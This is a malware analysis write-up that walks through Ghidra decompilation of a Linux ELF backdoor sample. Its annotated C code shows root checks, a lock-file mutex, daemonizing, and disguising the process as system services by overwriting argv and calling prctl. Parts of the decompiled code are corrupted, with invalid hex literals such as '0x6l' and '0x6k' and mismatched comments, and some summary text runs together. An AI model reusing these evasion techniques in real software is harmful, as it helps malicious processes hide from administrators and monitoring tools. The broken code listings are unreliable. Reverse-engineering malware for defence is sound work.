Executive Summary
Sample Metadata
| Analysis Property | Value |
|---|---|
| MD5 | aa78b0d9c6351cb664780d9203a331a9 |
| SHA-1 | 5c2aa2735f5c925fd309b41d02f29473448aea68 |
| SHA-256 | fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a |
| Vhash | f8460abd7719dc40af2dca6749770fa3 |
| SSDEEP | 384:ImdtpD0ogxSIafTZquZkBgzspIbMCfZSDFM6HlYGxhq0iFBcTjY4Uy:IYtpD0oDZ/IabDRSD2wlYgq0iFDc |
| TLSH | T166B207A7B268823DF02E96740DDF4974A47370B8EB1F5107F3416A397F2C2805E8E666 |
| File type | ELF executable · linux · elf |
| Magic | ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=c19480549bc983327118c62be7bb4dc85643c5a1, stripped |
| Telfhash | t17fe07d81b7375818ecc706319cd453b91106d213041646348e14ebc0883bc29a225f2f |
| TrID | ELF Executable and Linkable format (Linux) (50.1%) · ELF Executable and Linkable format (generic) (49.8%) |
| DetectItEasy | ELF64 · Operation system: Unix [EXEC AMD64-64] · Library: GLIBC (2.2.5) [EXEC AMD64-64] · Compiler: gcc ((GNU) 4.4.7 20120313 (Red Hat 4.4.7-23)) [EXEC AMD64-64] |
| Magika | ELF |
| File size | 22.94 KB (23488 bytes) |
Ghidra Analysis
When ghidra prompt for auto analyzing select extra parameter: Decompiler parameter ID . Then click analyze.
Entry point
decompiled entry point.
void processEntry entry(undefined8 param_1,undefined8 param_2)
{
undefined1 auStack_8 [8];
__libc_start_main(FUN_00403ff9,param_2,&stack0x00000008,FUN_00404290,FUN_00404280,param_1,
auStack_8);
do {
/* WARNING: Do nothing block with infinite loop */
} while( true );
}
Decompiled Entry Point Summary
This is the standard _start boilerplate of a compiled Linux ELF binary, likely generated in Ghidra.
FUN_00403ff9: This is the actual main function where the malware's execution logic begins.__libc_start_main: A standard library function that sets up the environment and calls main.__libc_start_main never returns because it ends the process, but if it fails, the loop keeps the program from crashing randomly.
Next step: FUN_00403ff9 to see what the malware actually does.
FUN00403ff9
This Function appears to be main.
undefined8 FUN_00403ff9(int param_1, long *param_2)
param_1 maps directly to int argc (argument count).param_2 maps directly to char argv (argument vector/values).So just rename FUN_00403ff9 to mw_main
Decompiled code:
undefined8 mw_main(int argc,long *argv) // argument counter & argument vector.
{
int iVar1;
__uid_t _Var2;
time_t tVar3;
char *local_78 [4];
char *local_58;
char *local_50;
char *local_48;
char *local_40;
char *local_38;
char *local_30;
char local_28 [16];
char local_18 [16];
// 1. Initialize fake strings and service array for process masquerading
builtin_strncpy(local_18, "justtryit", 10);
builtin_strncpy(local_28, "sockettcp", 10);
local_78[0] = "/sbin/udevd -d";
local_78[1] = "/sbin/mingetty /dev/tty6";
local_78[2] = "/usr/sbin/console-kit-daemon --no-daemon";
local_78[3] = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event";
local_58 = "dbus-daemon --system";
local_50 = "hald-runner";
local_48 = "pickup -l -t fifo -u";
local_40 = "avahi-daemon: chroot helper";
local_38 = "/sbin/auditd -n";
local_30 = "/usr/lib/systemd/systemd-journald";
// 2. Construct the mutex path string in memory: "/var/run/xinetd.lock"
DAT_00605400 = 0x2f; // '/'
DAT_00605401 = 0x76; // 'v'
DAT_00605402 = 0x61; // 'a'
DAT_00605403 = 0x72; // 'r'
DAT_00605404 = 0x2f; // '/'
DAT_00605405 = 0x72; // 'r'
DAT_00605406 = 0x75; // 'u'
DAT_00605407 = 0x6e; // 'n'
DAT_00605408 = 0x2f; // '/'
DAT_00605409 = 0x78; // 'x'
DAT_0060540a = 0x69; // 'i'
DAT_0060540b = 0x6e; // 'n'
DAT_0060540c = 0x6e; // 'e'
DAT_0060540d = 0x74; // 't'
DAT_0060540e = 100; // 'd'
DAT_0060540f = 0x2e; // '.'
DAT_00605410 = 0x6l; // 'l'
DAT_00605411 = 0x6f; // 'o'
DAT_00605412 = 99; // 'c'
DAT_00605413 = 0x6k; // 'k'
DAT_00605414 = 0; // Null terminator
// 3. Mutex Check: If the lock file already exists, exit immediately
iVar1 = access(&DAT_00605400, 4);
if (iVar1 != 0) {
// 4. Privilege Check: Ensure running as root (UID 0)
_Var2 = getuid();
if (_Var2 == 0) {
bzero(&DAT_00605560, 0x224);
// 5. Select a random fake process name from the array
tVar3 = time((time_t *)0x0);
srand((uint)tVar3);
iVar1 = rand();
strcpy(&DAT_00605568, local_78[iVar1 % 10]);
strcpy(&DAT_00605768, local_18);
strcpy(&DAT_00605776, local_28);
// 6. Masquerade: Rewrite argv[0] to disguise process as the chosen service
FUN_00401d17(argc,argv,&DAT_00605568);
// 7. Evasion: Detach from terminal, fork, and run as a silent background daemon
daemon(0, 0);
chdir("/");
FUN_004017dd();
signal(0x11, FUN_004017fd); // Setup signal handlers (SIGCHLD)
// 8. Locking: Write the PID and create the "/var/run/xinetd.lock" file
DAT_006053e4 = getpid();
iVar1 = open(&DAT_00605400, 0x41, 0x1a4); // 0x41 = O_CREAT | O_WRONLY
close(iVar1);
signal(0x11, (__sighandler_t)0x1); // Ignore SIGCHLD
// 9. Payload Execution: Call the main malicious execution routine
FUN_0040239a();
}
return 0;
}
// Exit point if lock file existed
exit(0);
}
Main Analysis:
Fixing Strings.
So we have:
iVar1 = access(&DAT_00605400, 4);
Here is the man page of the access function.
It takes two arguments path name and mode which is a integer value.
let’s just rename DAT_00605400 to malware mw_pathname. and iVar1 to var_accessReturn
So basically if the function doesn’t find this path (mw_pathname) it will exit the program completely.
Checking what is the path.
It’s set a little bit up.
mw_pathname = 0x2f;
DAT_00605401 = 0x76;
DAT_00605402 = 0x61;
DAT_00605403 = 0x72;
DAT_00605404 = 0x2f;
DAT_00605405 = 0x72;
DAT_00605406 = 0x75;
DAT_00605407 = 0x6e;
DAT_00605408 = 0x2f;
DAT_00605409 = 0x78;
DAT_0060540a = 0x69;
DAT_0060540b = 0x6e;
DAT_0060540c = 0x65;
DAT_0060540d = 0x74;
DAT_0060540e = 100;
DAT_0060540f = 0x2e;
DAT_00605410 = 0x6c;
DAT_00605411 = 0x6f;
DAT_00605412 = 99;
DAT_00605413 = 0x6b;
DAT_00605414 = 0;
This is 21 character’s long.
Let’s change that to 21 character long array of char.
Do right click —> Retype Global then char [21] .
now it will change it to this.
builtin_strncpy(mw_pathname,"/var/run/xinetd.lock",0x15);
This looks good.
So it’s checking whether it can access /var/run/xinetd.lock . and if can’t then it’s actually not running the program.
Checking Process UID
Let’s pretend that we have the access of the file /var/run/xinetd.lock . Then it’s getting the uid **** _Var2 = getuid();
What does it do
renaming _Var2 to var_processUID
Again if the process uid is not zero it will exit
_Var2 = getuid();
if (_Var2 == 0) {
So the process uid in Linux for 0 means you are running as root.
The we are getting time as the source for the random number generator.
tVar3 = time((time_t *)0x0);
srand((uint)tVar3);
Some data is copying into this particular variable DAT_00605568 which going to be passed to this function FUN_00401d17(argc,argv,&DAT_00605568); .
strcpy(&DAT_00605568,local_78[var_tempReturn % 10]);
strcpy(&DAT_00605768,local_18);
strcpy(&DAT_00605776,local_28);
FUN_00401d17(argc,argv,&DAT_00605568);
checking local_78 we have 4 results.
local_78[0] = "/sbin/udevd -d";
local_78[1] = "/sbin/mingetty /dev/tty6";
local_78[2] = "/usr/sbin/console-kit-daemon --no-daemon";
local_78[3] = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event";
I’m renaming local_78 to mw_folderCommand and DAT_00605568 to mw_folderDestination for convenience.
next is strcpy(&DAT_00605768,local_18);
checking local_18 which is “justtryit”.
builtin_strncpy(local_18,"justtryit",10);
Summary:
/sbin/udevd -d, dbus-daemon, /usr/lib/systemd/systemd-journald). It randomly selects one and calls FUN_00401d17 to overwrite argv[0], disguising its process name from tools like ps and top.mw_pathname (**DAT_00605400) to construct the file path /var/run/xinetd.lock**. It checks for this file using access(); if it exists, the malware exits immediately to prevent duplicate instances.getuid() to verify it is running with root privileges (UID 0). If it is not root, the function exits without executing the payload.daemon(0,0), which forks the process, terminates the parent, detaches from the terminal to run silently in the background, and changes the working directory to /.SIGCHLD), it calls FUN_0040239a() to launch the primary malicious payload.Then we have the function:
FUN_00401d17(argc,argv,&mw_folderDestination);
FUN00401d17
undefined8 FUN_00401d17(int argc,long *argv,char *mw_folderDestination)
{
undefined8 uVar1;
size_t sVar2;
size_t local_28;
int local_1c;
void *local_18;
long local_10;
local_28 = 0;
mw_argv = (char *)*argv;
local_1c = 0;
while (*(long *)(environ + (long)local_1c * 8) != 0) {
sVar2 = strlen(*(char **)(environ + (long)local_1c * 8));
local_28 = sVar2 + local_28 + 1;
local_1c = local_1c + 1;
}
local_18 = malloc(local_28);
if (local_18 == (void *)0x0) {
uVar1 = 0xffffffff;
}
else {
local_1c = 0;
while (*(long *)(environ + (long)local_1c * 8) != 0) {
sVar2 = strlen(*(char **)(environ + (long)local_1c * 8));
memcpy(local_18,*(void **)(environ + (long)local_1c * 8),sVar2 + 1);
*(void **)(environ + (long)local_1c * 8) = local_18;
sVar2 = strlen(*(char **)(environ + (long)local_1c * 8));
local_18 = (void *)((long)local_18 + sVar2 + 1);
local_1c = local_1c + 1;
}
local_10 = *argv;
for (local_1c = 0; local_1c < argc; local_1c = local_1c + 1) {
sVar2 = strlen((char *)argv[local_1c]);
local_10 = local_10 + sVar2 + 1;
}
local_1c = 0;
while (*(long *)(environ + (long)local_1c * 8) != 0) {
sVar2 = strlen(*(char **)(environ + (long)local_1c * 8));
local_10 = local_10 + sVar2 + 1;
local_1c = local_1c + 1;
}
memset(mw_argv,0,local_10 - (long)mw_argv);
strncpy(mw_argv,mw_folderDestination,local_10 - (long)mw_argv);
prctl(0xf,mw_folderDestination);
uVar1 = 0;
}
return uVar1;
}
Summary
| Technique | API/Primitives Used | Target Monitoring Tool Fooled |
|---|---|---|
| Argument Overwriting | memset, strncpy on argv[0] | ps, cat /proc/[PID]/cmdline |
| Thread Renaming | prctl(PR_SET_NAME) | top, htop, cat /proc/[PID]/status |
| Stability Enforcement | Heap relocation of environ | Prevents segmentation faults due to stack overflow. |